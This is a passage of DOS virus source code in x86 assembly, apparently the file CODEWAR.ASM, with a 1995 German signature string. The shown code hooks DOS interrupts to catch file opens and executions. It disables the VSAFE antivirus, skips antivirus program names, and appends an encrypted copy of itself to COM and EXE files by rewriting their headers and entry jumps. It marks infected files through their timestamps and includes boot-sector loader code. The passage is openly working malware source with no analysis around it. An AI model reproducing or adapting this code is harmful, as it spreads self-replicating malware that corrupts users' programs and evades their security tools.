1116 \r
1117 Jump_Int_1c:\r
1118         jmp     dword ptr cs:(ofs Old_int_1c -Reloc)\r
1119 ;----------------------------------------------------------------------------\r
1120 \r
1121 \r
1122 \r
1123 ;----------------------------------------------------------------------------\r
1124 New_Int_21:\r
1125 \r
1126 \r
1127 IF      Flag_Exec_Infection\r
1128         CMP     AX,4B00h\r
1129         JZ      Control_Operation\r
1130 ENDIF\r
1131 \r
1132 \r
1133         CMP     AH,3Dh\r
1134         JZ      Control_Operation\r
1135 \r
1136 Exit_Int_21:\r
1137         jmp     dword ptr cs:(ofs Old_Int_21 -Reloc)\r
1138 ;----------------------------------------------------------------------------\r
1139 \r
1140 \r
1141 ;----------------------------------------------------------------------------\r
1142 Control_Operation:\r
1143 \r
1144         pusha\r
1145         push    ds es\r
1146 \r
1147 Not_Ext_Open:\r
1148         xchg    ax,cx\r
1149         xor     ax,ax\r
1150 \r
1151         call    Deinstall_Vsafe\r
1152 \r
1153 ; Hook int 24h\r
1154 \r
1155         PUSH    DS\r
1156         MOV     DS,AX\r
1157         LES     AX,DS:[4*24h]\r
1158         MOV     Word Ptr DS:[4*24h], ofs New_Int_24 -Reloc\r
1159         MOV     DS:[4*24h +2],CS\r
1160         POP     DS\r
1161 \r
1162         PUSH    ES\r
1163         PUSH    AX\r
1164 \r
1165 ; open file\r
1166 \r
1167         MOV     AX,3D00h\r
1168         call    Call_Old_Int21\r
1169         jb      File_Error\r
1170 \r
1171         mov     bx,ax\r
1172 \r
1173         PUSH    CS\r
1174         POP     DS\r
1175 \r
1176 ; get SFT\r
1177 \r
1178         PUSH    BX\r
1179         MOV     AX,1220h\r
1180         call    Call_Old_Int2F                 ; INT     2Fh\r
1181 \r
1182         MOV     AX,1216h\r
1183         MOV     BL,ES:[DI]\r
1184         call    Call_Old_Int2F                 ; INT     2Fh\r
1185         POP     BX\r
1186 \r
1187         JB      Close_Exit\r
1188 \r
1189 ; skip AV-programs ?\r
1190 \r
1191         call    Check_If_AV_Name\r
1192         jz      goto_close_exit\r
1193 \r
1194 \r
1195 ; test if executable-file\r
1196 \r
1197         CMP     Word Ptr ES:[DI+28h],"OC"\r
1198         JZ      Is_COM\r
1199 \r
1200         CMP     Word Ptr ES:[DI+28h],"XE"\r
1201         JZ      Is_EXE\r
1202 \r
1203 goto_close_exit:\r
1204         JMP     Short Close_Exit\r
1205 ;----------------------------------------------------------------------------\r
1206 \r
1207 \r
1208 \r
1209 ;----------------------------------------------------------------------------\r
1210 Is_COM:\r
1211 Is_EXE:\r
1212 \r
1213 ; Check if infected\r
1214         mov     ax,es:[di.SFT_File_Time]\r
1215         and     al,00011111b\r
1216         cmp     al,Time_Stamp\r
1217         jz      Close_Exit\r
1218 \r
1219         PUSH    ES\r
1220         PUSH    DI\r
1221 \r
1222 ; Datum/Zeit sichern\r
1223         mov     ax,es:[di.SFT_File_Time]\r
1224         mov     cs:[ofs Old_Time -Reloc],ax\r
1225         mov     ax,es:[di.SFT_File_Date]\r
1226         mov     cs:[ofs Old_Date -Reloc],ax\r
1227 \r
1228 ; Get file length directly from the SFT and save it\r
1229         mov     ax,es:[di+SFT_File_SizeLo]\r
1230         mov     cs:[ofs File_SizeLo -Reloc], ax\r
1231         mov     ax,es:[di.SFT_File_SizeHi]\r
1232         mov     cs:[ofs File_SizeHi -Reloc], ax\r
1233 \r
1234 ; Force read/write mode\r
1235         mov     word ptr es:[di.SFT_Open_Mode],2\r
1236 \r
1237         CALL    Read_Infect\r
1238 \r
1239         POP     DI\r
1240         POP     ES\r
1241 \r
1242 Close_Exit:\r
1243 \r
1244         MOV     AH,3Eh\r
1245         INT     21h\r
1246 \r
1247 File_Error:\r
1248         XOR     SI,SI\r
1249         MOV     DS,SI\r
1250 \r
1251 ; restore INT 24h\r
1252 \r
1253         POP     AX\r
1254         POP     ES\r
1255 \r
1256         MOV     DS:[4*24h],AX\r
1257         MOV     DS:[4*24h +2],ES\r
1258 \r
1259 \r
1260         pop     es ds\r
1261         popa\r
1262 \r
1263         JMP     Exit_Int_21\r
1264 ;----------------------------------------------------------------------------\r
1265 \r
1266 \r
1267 \r
1268 ;----------------------------------------------------------------------------\r
1269 goto_Infect_Ret:\r
1270         jmp     Infect_Ret\r
1271 ;----------------------------------------------------------------------------\r
1272 \r
1273 \r
1274 \r
1275 ;----------------------------------------------------------------------------\r
1276 Process_EXE:\r
1277         mov    byte ptr cs:[ofs File_Type -Reloc],File_Type_EXE\r
1278 \r
1279 ; save handle\r
1280         mov     word ptr cs:[ofs Handle -Reloc],bx\r
1281 \r
1282 ; Dont infect to big/small EXE-files!\r
1283         mov     word ptr AX,cs:[ofs File_Buffer.BUF_4h -Reloc]  ; EXE size in 512 byte pages\r
1284         cmp     AX,F_Min_LengthEXE                              ; Don't infect files less than xxxx pages\r
1285         JB      goto_Infect_Ret\r
1286         cmp     AX,F_Max_LengthEXE                              ; Or bigger than xxxx pages\r
1287         JA      goto_Infect_Ret\r
1288 \r
1289 ; save handle\r
1290         push    bx\r
1291 \r
1292 ; seek to EOF\r
1293 \r
1294         CALL    Seek_EOF\r
1295 \r
1296 \r
1297 ; It's OK!  Process it now !\r
1298         les     ax,dword ptr cs:[File_Buffer.Buf_14h -Reloc]    ;Entry_Point_Disp\r
1299         mov     cs:[ofs Old_IP -Reloc],ax\r
1300         mov     cs:[ofs Old_CS -Reloc],es\r
1301 \r
1302         les     ax,dword ptr cs:[File_Buffer.Buf_eh -Reloc]     ;Stack_Disp\r
1303         mov     cs:[ofs Old_SS -Reloc],ax\r
1304         mov     cs:[ofs Old_SP -Reloc],es\r
1305 \r
1306         mov     ax,cs:[ofs File_Buffer.Buf_8h -Reloc]  ; = Header size in paras\r
1307         mov     cl,4\r
1308         shl     ax,cl                                    ; Convert to byte-format\r
1309 \r
1310 ; Get file size from SFT\r
1311         push    ax                                       ; Save header size\r
1312         mov     ax,cs:[ofs File_SizeLo -Reloc]\r
1313         mov     dx,cs:[ofs File_SizeHi -Reloc]\r
1314 \r
1315 ; add the padding-number\r
1316         mov     cx,cs:[ofs File_SizeLo -Reloc]\r
1317         MOV     CH,CL\r
1318         MOV     CL,16\r
1319         SUB     CL,CH\r
1320         AND     CX,1+2+4+8\r
1321         add     ax,cx\r
1322 \r
1323 ; save the padding-number\r
1324         mov     cs:[ofs Padded -reloc],cx\r
1325 \r
1326         pop     bx                                       ; = Header size\r
1327 \r
1328         sub     ax,bx                   ; DX:AX := file size - header size\r
1329         sbb     dx,0\r
1330 \r
1331         mov     cx,16                   ; Convert to seg:ofs format\r
1332 \r
1333         div     cx                      ; DX:AX := (DX:AX) / 10h\r
1334 \r
1335         or      dx,dx                   ; IP\r
1336         jz      was_rounded\r
1337 \r
1338         xor     dx,dx\r
1339         mov     cs:[ofs File_Buffer.Buf_14h -Reloc],dx              ; New IP\r
1340         mov     cs:[ofs File_Buffer.Buf_16h -Reloc],ax              ; New CS\r
1341 \r
1342         inc     word ptr cs:[ofs File_Buffer.Buf_16h -Reloc]                 ; CS\r
1343         jmp     rounded\r
1344 \r
1345 was_rounded:\r
1346         mov     cs:[ofs File_Buffer.Buf_14h -Reloc],dx              ; New IP\r
1347         mov     cs:[ofs File_Buffer.Buf_16h -Reloc],ax              ; New CS\r
1348 \r
1349 rounded:\r
1350         inc     ax                                                  ; Avoid the "K" TB-flag (seems unecessary)\r
1351         mov     word ptr cs:[ofs File_Buffer.Buf_eh -Reloc],ax      ; New SS\r
1352         mov     word ptr cs:[ofs File_Buffer.Buf_10h -Reloc],0      ; New SP\r
1353 \r
1354         mov     ax,cs:[ofs File_SizeLo -Reloc]\r
1355         mov     dx,cs:[ofs File_SizeHi -Reloc]\r
1356 \r
1357 ; add the padding-number\r
1358         add     ax,cs:[ofs Padded -reloc]\r
1359         add     dx,0\r
1360 \r
1361 \r
1362         add     ax,Virus_Length         ; Lo-word\r
1363         adc     dx,0                    ; Hi-word\r
1364 \r
1365         push    ax                      ; Lo-word\r
1366         shr     ax,9                    ;\r
1367         ror     dx,9\r
1368         stc\r
1369         adc     dx,ax\r
1370         pop     ax\r
1371 \r
1372         and     ah,1                                           ; Mod 512\r
1373         mov     cs:[ofs File_Buffer.Buf_4h -Reloc],dx               ; Size in pages (rounded up)\r
1374         mov     cs:[ofs File_Buffer.Buf_2h -Reloc],ax               ; Size of last page (in bytes)\r
1375 \r
1376         push    cs cs\r
1377         pop     ds es\r
1378 \r
1379 \r
1380         mov     word ptr bx,cs:[ofs Handle -Reloc]\r
1381         mov     ax,cs:[ofs File_SizeLo -Reloc]\r
1382 \r
1383         CALL    Padding\r
1384 \r
1385 ; Construct index for decryptor\r
1386 \r
1387         PUSH    AX\r
1388 \r
1389         MOV     word ptr DS:[ofs E1_Idx_Val -Reloc],(ofs E1_Encrypted_Code-ofs Vir_start)-Camouf\r
1390         MOV     word ptr DS:[ofs E2_Idx_Val -Reloc],(ofs E2_Encrypted_Code-ofs Vir_start)\r
1391         MOV     word ptr DS:[ofs E3_Idx_Val -Reloc],(ofs E3_Encrypted_Code-ofs Vir_start)\r
1392 \r
1393         POP     AX\r
1394 \r
1395         pop     bx\r
1396         jmp     Attach\r
1397 ;----------------------------------------------------------------------------\r
1398 \r
1399 \r
1400 \r
1401 ;----------------------------------------------------------------------------\r
1402 Read_Infect:\r
1403 \r
1404         CALL    Seek_TOF\r
1405 \r
1406 ; read xx bytes\r
1407 \r
1408         MOV     AH,3Fh\r
1409         MOV     CX,Header_Length\r
1410         MOV     DX,ofs File_buffer -Reloc\r
1411         INT     21h\r
1412         jnb     read_ok\r
1413         jmp     Infect_Ret\r
1414 \r
1415 read_ok:\r
1416         cmp     word ptr cs:[ofs File_buffer -Reloc],"ZM"\r
1417         jnz     Process_COM\r
1418         jmp     Process_EXE\r
1419 \r
1420 ;----------------------------------------------------------------------------\r
1421 Process_COM:\r
1422 \r
1423         mov    byte ptr cs:[ofs File_Type -Reloc],File_Type_COM\r
1424 \r
1425 \r
1426 ; seek to EOF\r
1427 \r
1428         CALL    Seek_EOF\r
1429 \r
1430 ; Save 3 bytes\r
1431 \r
1432         MOV     ax,word ptr DS:[File_buffer -Reloc]\r
1433         MOV     DS:[ofs Rest1 -Reloc],ax\r
1434         MOV     al,byte ptr DS:[File_buffer -Reloc +2]\r
1435         MOV     DS:[ofs Rest2 -Reloc],al\r
1436 \r
1437         CALL    Seek_EOF\r
1438 \r
1439 ; file smaller than xxxx bytes ?\r
1440 \r
1441         CMP     AX,F_Min_LengthCOM\r
1442         JB      Infect_Ret\r
1443 \r
1444 ; file larger than xxxx bytes ?\r
1445 \r
1446         CMP     AX,F_Max_LengthCOM\r
1447         JA      Infect_Ret\r
1448 \r
1449 \r
1450         CALL    Padding\r
1451 \r
1452 \r
1453 ; Construct index for decryptor\r
1454 \r
1455         PUSH    AX\r
1456 \r
1457 ; layer 1\r
1458         ADD     AX,100h+ (ofs E1_Encrypted_Code-ofs Vir_Start)-Camouf\r
1459         MOV     DS:[ofs E1_Idx_Val -Reloc],AX\r
1460 \r
1461 ; layer 2\r
1462         pop     ax\r
1463         push    ax\r
1464 \r
1465         ADD     AX,100h+ (ofs E2_Encrypted_Code-ofs Vir_Start)\r
1466         MOV     DS:[ofs E2_Idx_Val -Reloc],AX\r
1467 \r
1468 ; layer 3\r
1469         pop     ax\r
1470         push    ax\r
1471 \r
1472         ADD     AX,100h+ (ofs E3_Encrypted_Code-ofs Vir_Start)\r
1473         MOV     DS:[ofs E3_Idx_Val -Reloc],AX\r
1474 \r
1475 \r
1476         POP     AX\r
1477 \r
1478 ; construct and insert a JUMP-INSTR.\r
1479 \r
1480         MOV     byte ptr DS:[File_buffer -Reloc],0E9h\r
1481         SUB     AX,3\r
1482         MOV     word ptr DS:[File_buffer+1 -Reloc],AX\r
1483 ;----------------------------------------------------------------------------\r
1484 \r
1485 \r
1486 \r
1487 ;----------------------------------------------------------------------------\r
1488 Attach:\r
1489 \r
1490 ; write body at EOF\r
1491 \r
1492         MOV     AH,40h\r
1493         MOV     CX,Virus_Length\r
1494         MOV     DX,ofs Buffer -Reloc\r
1495         CALL    Encrypt_Virus\r
1496         INT     21h\r
1497         JB      Infect_Ret\r
1498 \r
1499 ; write JUMP to TOF\r
1500 \r
1501         MOV     AL,0\r
1502         CALL    Seek_TOF\r
1503 \r
1504         MOV     AH,40h\r
1505         MOV     CX,Header_Length\r
1506         MOV     DX,ofs File_buffer -Reloc\r
1507         INT     21h\r
1508 \r
1509 ; restore time stamps\r
1510 \r
1511         mov     AX,5701h\r
1512         mov     cx,cs:[ofs Old_Time -Reloc]\r
1513         mov     dx,cs:[ofs Old_Date -Reloc]\r
1514         and     cl,11100000b\r
1515         or      cl,Time_Stamp                      ; Mark with Time-ID\r
1516         INT     21h\r
1517 \r
1518 Infect_Ret:\r
1519         RET\r
1520 ;----------------------------------------------------------------------------\r
1521 \r
1522 \r
1523 \r
1524 ;----------------------------------------------------------------------------\r
1525 Padding:\r
1526         MOV     AH,AL\r
1527         MOV     AL,16\r
1528         SUB     AL,AH\r
1529         AND     AX,1+2+4+8\r
1530         MOV     DX,AX\r
1531 \r
1532 ; seek forward\r
1533         MOV     AL,01h\r
1534         call    Seek_File\r
1535         ret\r
1536 ;----------------------------------------------------------------------------\r
1537 \r
1538 \r
1539 \r
1540 ;----------------------------------------------------------------------------\r
1541 Deinstall_Vsafe:\r
1542         pusha\r
1543         push    ds es\r
1544 \r
1545         MOV     DX,5945h\r
1546         MOV     AX,0FA01h\r
1547         INT     16h\r
1548 \r
1549         pop     es ds\r
1550         popa\r
1551         ret\r
1552 ;----------------------------------------------------------------------------\r
1553 \r
1554 \r
1555 \r
1556 ;----------------------------------------------------------------------------\r
1557 Check_If_AV_Name proc near\r
1558         cmp     byte ptr es:[di.SFT_File_Name],"L"\r
1559         jz      Found_AV_Name\r
1560         cmp     byte ptr es:[di.SFT_File_Name],"-"\r
1561         jz      Found_AV_Name\r
1562         cmp     word ptr es:[di.SFT_File_Name],"BT"\r
1563         jz      Found_AV_Name\r
1564         cmp     word ptr es:[di.SFT_File_Name],"CS"\r
1565         jz      Found_AV_Name\r
1566         cmp     word ptr es:[di.SFT_File_Name],"-F"\r
1567         jz      Found_AV_Name\r
1568         cmp     word ptr es:[di.SFT_File_Name],"IV"\r
1569         jz      Found_AV_Name\r
1570 Found_AV_Name:\r
1571         ret\r
1572 Check_If_AV_Name endp\r
1573 ;----------------------------------------------------------------------------\r
1574 \r
1575 \r
1576 \r
1577 \r
1578 ;----------------------------------------------------------------------------\r
1579 Seek_EOF:\r
1580         MOV     AL,02h\r
1581 Seek_TOF:\r
1582         XOR     DX,DX\r
1583 Seek_File:\r
1584         MOV     AH,42h\r
1585         XOR     CX,CX\r
1586         INT     21h\r
1587         RET\r
1588 ;----------------------------------------------------------------------------\r
1589 \r
1590 \r
1591 ;----------------------------------------------------------------------------\r
1592 Call_Old_Int21 PROC NEAR\r
1593         pushf\r
1594         call    dword ptr cs:(ofs Old_Int_21 -Reloc)\r
1595         ret\r
1596 Call_Old_Int21 ENDP\r
1597 ;----------------------------------------------------------------------------\r
1598 \r
1599 \r
1600 ;----------------------------------------------------------------------------\r
1601 Call_Old_Int2F PROC NEAR\r
1602         pushf\r
1603         call    dword ptr cs:(ofs Old_Int_2F -Reloc)\r
1604         ret\r
1605 Call_Old_Int2F ENDP\r
1606 ;----------------------------------------------------------------------------\r
1607 \r
1608 \r
1609 \r
1610 ;----------------------------------------------------------------------------\r
1611 New_Int_24:\r
1612         MOV     AL,03h\r
1613         IRET\r
1614 ;----------------------------------------------------------------------------\r
1615 \r
1616 \r
1617 ;----------------------------------------------------------------------------\r
1618 Old_Int_13      dd      0\r
1619 Old_Int_1C      dd      0\r
1620 Old_Int_21      dd      0\r
1621 \r
1622 Old_Int_2f      dd      0\r
1623 \r
1624 Old_Time        dw      0\r
1625 Old_Date        dw      0\r
1626 \r
1627 Handle          dw      0\r
1628 \r
1629 ; If Int 21h allready captured then 1 else 0\r
1630 Got_Int_21      db      0\r
1631 \r
1632 File_SizeHi     dw      0\r
1633 File_SizeLo     dw      0\r
1634 \r
1635 Padded          dw      0\r
1636 ;----------------------------------------------------------------------------\r
1637 \r
1638 \r
1639 \r
1640 \r
1641 ;----------------------------------------------------------------------------\r
1642 BS_first_word   dw      0\r
1643 Old_BS_code     db      32 dup ('B')\r
1644 ;----------------------------------------------------------------------------\r
1645 \r
1646 \r
1647 ;----------------------------------------------------------------------------\r
1648 ; The first word of the PAR/BS is stored here\r
1649 \r
1650 JBS_first_word:\r
1651         jmp     $ + 60h\r
1652 ;----------------------------------------------------------------------------\r
1653 \r
1654 \r
1655 ;----------------------------------------------------------------------------\r
1656 Start_JBoot:\r
1657         XOR     DI,DI\r
1658         MOV     SI,7C00h\r
1659 \r
1660         CLI\r
1661         MOV     SP,SI\r
1662         MOV     SS,DI\r
1663         STI\r
1664 \r
1665 ; read xx sectors to 7e00h\r
1666 \r
1667         MOV     ES,DI\r
1668         MOV     AX,0204h                        ; !!!!!!  Sectors !!!!!!\r
1669         MOV     BX,7c00h+512\r
1670 \r
1671         MOV     CX,1234h\r
1672         ORG     $-2\r
1673 Ptc_CX  dw      0004h\r
1674 \r
1675         MOV     DX,1234h\r
1676         ORG     $-2\r
1677 Ptc_DX  dw      0080h\r
1678 \r
1679         nop\r
1680         nop\r
1681 \r
1682         INT     13h\r
1683 \r
1684 ; Jump to the reload code from 2 sectors\r
1685 ; The offset in the BS/PAR where this instuction is executed is at\r
1686 ; BS/PAR:60h+($-Start_Jboot)\r
1687 \r
1688         jmp     $ + 512 - ($-Start_Jboot+60h)       ;+512 -125\r
1689 ;----------------------------------------------------------------------------\r
1690 \r
1691 \r
1692 \r
1693 \r
1694 ;----------------------------------------------------------------------------\r
1695         db      " [[  Cú0úDúEúWúAúR  ]]  <32>  Germany  1995  "\r
1696         db      "Virtually called to life & survival by"\r
1697 \r
1698         db      "RGOEPMSQO & NJOENBOJBD"\r
1699 \r
1700         db      " ==>= AllE GUtEN DiNGE SiND DREi  ==>=  "\r
1701 \r
1702         db      0\r
1703 ;----------------------------------------------------------------------------\r
1704 \r
1705 \r
1706 Encrypted_Code_End      equ     $\r
1707 \r
1708 \r
1709 ;----------------------------------------------------------------------------\r
1710 File_buffer:\r
1711         db      Header_Length dup ('H')\r
1712 ;----------------------------------------------------------------------------\r
1713 \r
1714 \r
1715 ;----------------------------------------------------------------------------\r
1716 ; here is the virus copied and encrypted\r
1717 Buffer  equ     $\r
1718 ;----------------------------------------------------------------------------\r
1719 \r
1720 \r
1721 \r
1722 \r
1723 \r
1724 \r
1725 \r
1726 \r
1727 CODE    ENDS\r
1728         END     Sample\r
1729 \r
1730 \r
1731 ; CODEWAR.ASM\r
1732 \1a